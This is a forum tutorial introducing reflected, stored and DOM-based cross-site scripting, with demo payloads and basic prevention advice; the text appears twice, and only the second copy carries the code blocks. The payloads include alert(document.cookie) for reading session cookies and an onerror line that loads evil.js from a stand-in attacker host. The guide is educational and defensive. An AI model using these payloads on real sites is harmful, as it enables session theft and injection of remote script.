- Joined
- Aug 2, 2016
- Posts
- 1,612
- Solutions
- 4
- Reaction
- 635
- Points
- 528
Introduction to Cross Site Scripting (XSS)
Prerequisites
This guide is proposed for any individual who creates sites or is keen on web security subjects. A foundation in HTML, JavaScript, and Document Object Model (DOM) would be useful for a portion of the more specialized technical elements.
Disclaimer:
This document provides information that could be used to assess the security of a website against cross-site scripting vulnerabilities. Do not use what you learn here to test (or worse, attack) websites without permission from the website's owner. All the content provided is for educational purposes only. I or häçk Forums hold no responsibilities about what you do with it. The application which I have used for demo purposes it's link has been provided and I hold no claim of its ownership.
What is cross-site scripting and why should I care?
Cross-site scripting (XSS) is a security bug that can affect websites. If present in your website, this bug can allow an attacker to add their own malicious JavaScript code into the HTML pages displayed to your users. Once executed by the victim's browser, this code could then perform actions such as completely changing the behavior or appearance of the website (Website Defacement), s†éáling private data, or performing actions on behalf of the user(Impersonating).
Enough, chit-chat let's get to it.
A basic example
XSS vulnerabilities most often happen when user input is incorporated into a web server's response (i.e., an HTML page) without proper escaping or validation.
Consider a search application below.
Using the application above, search for test. This returns the following output:
Sorry, no results were found for test. Try again.
Now, search for
. Notice that "test" is underlined in the response:
Sorry, no results were found for test. Try again.
So, without looking at the code, it seems that the application includes our own HTML markup in the response. That's interesting but not terribly dangerous. If, however, the application also allows us to inject JavaScript code, that would be much more "interesting".
Let's give it a try. Search for <script>alert('hello')</script>.
We found our first XSS bug!
You've just experienced a "reflected" XSS attack, where the JavaScript payload (<script>alert('hello')</script>) is echoed back on the page returned by the server.
Link: You do not have permission to view the full content of this post. Log in or register now.
In the above scenario, an attacker would need the victim to either:
1. Visit any page controlled by the attacker. This page might include an invisible iframe that points to the site that's vulnerable to XSS, along with a payload to exploit the vulnerability.
2. Or click on a URL link from the attacker. This link would include the exploit payload
It's worth noting that an XSS payload can be delivered in different ways; for example, it could be in a parameter of an HTTP POST request, as part of the URL, or even within the web browser cøøkíé - basically, anywhere a user can supply input to the website.
All this to generate an annoying pop-up window might not seem worth it. Unfortunately, XSS vulnerabilities can result in much more than alerts on a page (a pop-up alert is just a convenient way for an attacker or researcher to detect the presence of an XSS bug). Take a look at the next example for a more malicious script.
Persistent XSS
In the attack we described above, the web server echoes back the XSS payload to the victim right away. But it is also possible for the server to store the attacker-supplied input (the XSS payload) and serve it to the victim at a later time. This is called a "stored XSS".
Below we illustrate a basic example using a demo social networking site. Go ahead, enter some text and share your status in the demo application below.
Link: You do not have permission to view the full content of this post. Log in or register now.
Next, try this:
Enter
Share your status.
You should see a pop-up alert! You'll see the alert again if you refresh the page or share another status message.
Now, enter
and hit 'Share status!'.
The session ID for this application will pop up! An attacker could use XSS exploit code to collect this session ID and try to impersonate the owner of the account.
Scenario: You are posting at a social networking site. A häçker uses the similar kind of XSS exploit against you and gets your sessionID and could now use it to use your account to scam, impersonate and create havoc making you responsible for the fall.
What else can you do besides popping up alerts or s†éáling session IDs? You can pretty much do anything JavaScript allows. Try entering the following:
Creepy, huh? In this example, an evil JavaScript file was retrieved and embedded via XSS.
Just imagine you visit a malicious site and it results in activating some kind of javascript script to drop a shell at your system.
Scenario: Your site is vulnerable to the above kind of attack and the häçker uses a javascript code which could deface your site.
Your server won't always see the XSS payload
In the previous two examples, user input was sent to the server, and the server responded back to the user by displaying a page that included the user input. However, a stored(persistent) or reflected XSS vulnerability can also occur without direct involvement of the server, if user-supplied data is used in an unsafe JavaScript operation. That is, the XSS can occur entirely in the client-side JavaScript and HTML (more specifically, in the Document Object Model or DOM) without data being sent back and forth between the client and the server. We call this subclass of bugs "DOM-based XSS" or "DOM XSS" for short. A common cause of DOM XSS bugs is setting the innerHTML value of a DOM element with user-supplied data.
Take a look at the level 3 of Google XSS game. It uses a URL fragment to determine which tab to show.
For example:
Link: You do not have permission to view the full content of this post. Log in or register now.
The application works as expected when you click on the tabs. However, it is also possible to open a URL such as:
You can copy and paste the above URL into the "URL bar" in the demo application above and click the "Go" button. You should see a pop-up alert.
This is a basic intro guide who either arent aware of XSS or wants to learn it. XSS is vast and there are a lot of ways it can be used which I can't obviously list all of them here. But feel free to PM me if you are interested to learn more or I will update the guide with more in depth when I am free.
==================================================================
Methods of preventing XSS
Recall that an XSS attack is a type of code injection: user input is mistakenly interpreted as a malicious program code. In order to prevent this type of code injection, secure input handling is needed. For a web developer, there are two fundamentally different ways of performing secure input handling:
Encoding, which escapes the user input so that the browser interprets it only as data, not as code.
Validation, which filters the user input so that the browser interprets it as code without malicious commands.
The following can also help minimize the chances that your website will contain XSS vulnerabilities:
1. Using a template system with context-aware auto-escaping
2. Manually escaping user input (if it’s not possible to use a template system with context-aware auto-escaping)
3. Understanding common browser behaviors that lead to XSS
4. Learning the best practices for your technology
Prerequisites
This guide is proposed for any individual who creates sites or is keen on web security subjects. A foundation in HTML, JavaScript, and Document Object Model (DOM) would be useful for a portion of the more specialized technical elements.
Disclaimer:
This document provides information that could be used to assess the security of a website against cross-site scripting vulnerabilities. Do not use what you learn here to test (or worse, attack) websites without permission from the website's owner. All the content provided is for educational purposes only. I or häçk Forums hold no responsibilities about what you do with it. The application which I have used for demo purposes it's link has been provided and I hold no claim of its ownership.
What is cross-site scripting and why should I care?
Cross-site scripting (XSS) is a security bug that can affect websites. If present in your website, this bug can allow an attacker to add their own malicious JavaScript code into the HTML pages displayed to your users. Once executed by the victim's browser, this code could then perform actions such as completely changing the behavior or appearance of the website (Website Defacement), s†éáling private data, or performing actions on behalf of the user(Impersonating).
Enough, chit-chat let's get to it.
A basic example
XSS vulnerabilities most often happen when user input is incorporated into a web server's response (i.e., an HTML page) without proper escaping or validation.
Consider a search application below.
Using the application above, search for test. This returns the following output:
Sorry, no results were found for test. Try again.
Now, search for
Code:
<u>test</u>Sorry, no results were found for test. Try again.
So, without looking at the code, it seems that the application includes our own HTML markup in the response. That's interesting but not terribly dangerous. If, however, the application also allows us to inject JavaScript code, that would be much more "interesting".
Let's give it a try. Search for <script>alert('hello')</script>.
We found our first XSS bug!
You've just experienced a "reflected" XSS attack, where the JavaScript payload (<script>alert('hello')</script>) is echoed back on the page returned by the server.
Link: You do not have permission to view the full content of this post. Log in or register now.
In the above scenario, an attacker would need the victim to either:
1. Visit any page controlled by the attacker. This page might include an invisible iframe that points to the site that's vulnerable to XSS, along with a payload to exploit the vulnerability.
2. Or click on a URL link from the attacker. This link would include the exploit payload
It's worth noting that an XSS payload can be delivered in different ways; for example, it could be in a parameter of an HTTP POST request, as part of the URL, or even within the web browser cøøkíé - basically, anywhere a user can supply input to the website.
All this to generate an annoying pop-up window might not seem worth it. Unfortunately, XSS vulnerabilities can result in much more than alerts on a page (a pop-up alert is just a convenient way for an attacker or researcher to detect the presence of an XSS bug). Take a look at the next example for a more malicious script.
Persistent XSS
In the attack we described above, the web server echoes back the XSS payload to the victim right away. But it is also possible for the server to store the attacker-supplied input (the XSS payload) and serve it to the victim at a later time. This is called a "stored XSS".
Below we illustrate a basic example using a demo social networking site. Go ahead, enter some text and share your status in the demo application below.
Link: You do not have permission to view the full content of this post. Log in or register now.
Next, try this:
Enter
Code:
<img src=x onerror="alert('Pop-up window via stored XSS');"You should see a pop-up alert! You'll see the alert again if you refresh the page or share another status message.
Now, enter
Code:
<img src=x onerror="alert(document.cøøkíé);"The session ID for this application will pop up! An attacker could use XSS exploit code to collect this session ID and try to impersonate the owner of the account.
Scenario: You are posting at a social networking site. A häçker uses the similar kind of XSS exploit against you and gets your sessionID and could now use it to use your account to scam, impersonate and create havoc making you responsible for the fall.
What else can you do besides popping up alerts or s†éáling session IDs? You can pretty much do anything JavaScript allows. Try entering the following:
Code:
<img src=1 onerror="s=document.createElement('script');s.src='//xyzhäçker.com/static/evil.js';document.body.appendChild(s);"Just imagine you visit a malicious site and it results in activating some kind of javascript script to drop a shell at your system.
Scenario: Your site is vulnerable to the above kind of attack and the häçker uses a javascript code which could deface your site.
Your server won't always see the XSS payload
In the previous two examples, user input was sent to the server, and the server responded back to the user by displaying a page that included the user input. However, a stored(persistent) or reflected XSS vulnerability can also occur without direct involvement of the server, if user-supplied data is used in an unsafe JavaScript operation. That is, the XSS can occur entirely in the client-side JavaScript and HTML (more specifically, in the Document Object Model or DOM) without data being sent back and forth between the client and the server. We call this subclass of bugs "DOM-based XSS" or "DOM XSS" for short. A common cause of DOM XSS bugs is setting the innerHTML value of a DOM element with user-supplied data.
Take a look at the level 3 of Google XSS game. It uses a URL fragment to determine which tab to show.
For example:
Link: You do not have permission to view the full content of this post. Log in or register now.
The application works as expected when you click on the tabs. However, it is also possible to open a URL such as:
Code:
https://xss-doc.appspot.com/demo/3#'><img src=x onerror=alert(/DOM-XSS/)>You can copy and paste the above URL into the "URL bar" in the demo application above and click the "Go" button. You should see a pop-up alert.
This is a basic intro guide who either arent aware of XSS or wants to learn it. XSS is vast and there are a lot of ways it can be used which I can't obviously list all of them here. But feel free to PM me if you are interested to learn more or I will update the guide with more in depth when I am free.
==================================================================
Methods of preventing XSS
Recall that an XSS attack is a type of code injection: user input is mistakenly interpreted as a malicious program code. In order to prevent this type of code injection, secure input handling is needed. For a web developer, there are two fundamentally different ways of performing secure input handling:
Encoding, which escapes the user input so that the browser interprets it only as data, not as code.
Validation, which filters the user input so that the browser interprets it as code without malicious commands.
The following can also help minimize the chances that your website will contain XSS vulnerabilities:
1. Using a template system with context-aware auto-escaping
2. Manually escaping user input (if it’s not possible to use a template system with context-aware auto-escaping)
3. Understanding common browser behaviors that lead to XSS
4. Learning the best practices for your technology